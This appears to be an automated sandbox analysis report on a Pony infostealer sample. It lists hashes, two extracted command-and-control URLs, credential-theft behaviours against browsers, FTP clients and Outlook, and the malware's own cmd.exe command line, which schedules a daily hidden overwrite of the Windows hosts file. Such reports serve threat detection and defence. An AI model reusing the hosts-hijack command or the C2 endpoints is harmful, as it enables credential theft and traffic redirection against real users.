Analysis
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max time kernel
124s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
01/10/2024, 16:27
Static task
static1
Behavioral task
behavioral1
Sample
0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe
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Size
97KB
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MD5
0686f4b55693485a5bd0043759da71a0
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SHA1
6268150f8356668bcf655ab89b6faf55c4a1ed82
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SHA256
eb1a558d5e6b968b3a0175b4a4673c9c61872c8e2986fb160036f146de44bb31
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SHA512
978350d22d4fc20fb59395b67c3c774985fec3c2010df4561ea90b8457423efca35c0e96056d560b9c916baa7d4a291a1d4bbb306cdaa7a0300c52bfeb0b7d66
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SSDEEP
1536:CSZWJwPmMF2sk4ioOfbq+tWHRNZHjXXNxA2TYaWUx10JO8WpjKyayTWa:CGWJwPzkeivfGLlDnNg7Uv0JONZ
Malware Config
Extracted
pony
http://mytdhju.pw:4915/way/like.php
http://hbedhy.pw:4915/way/like.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 2516 cmd.exe 4488 at.exe -
resource yara_rule behavioral2/memory/4904-2-0x0000000000400000-0x0000000000423000-memory.dmp upx behavioral2/memory/4904-4-0x0000000000400000-0x0000000000423000-memory.dmp upx behavioral2/memory/4904-8-0x0000000000400000-0x0000000000423000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeTcbPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeBackupPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeRestorePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeImpersonatePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeTcbPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeBackupPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeRestorePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeImpersonatePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeTcbPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeBackupPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeRestorePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeImpersonatePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeTcbPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeBackupPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeRestorePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeImpersonatePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeTcbPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeBackupPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeRestorePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeImpersonatePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeTcbPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeBackupPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeRestorePrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4904 wrote to memory of 2516 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe 97 PID 4904 wrote to memory of 2516 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe 97 PID 4904 wrote to memory of 2516 4904 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe 97 PID 2516 wrote to memory of 4488 2516 cmd.exe 99 PID 2516 wrote to memory of 4488 2516 cmd.exe 99 PID 2516 wrote to memory of 4488 2516 cmd.exe 99 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\0686f4b55693485a5bd0043759da71a0_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:4904 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 16:30:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240691859aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\SysWOW64\at.exeat 16:30:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240691859aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:4488
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3036,i,11251706013556949551,5157034131170452377,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:81⤵PID:440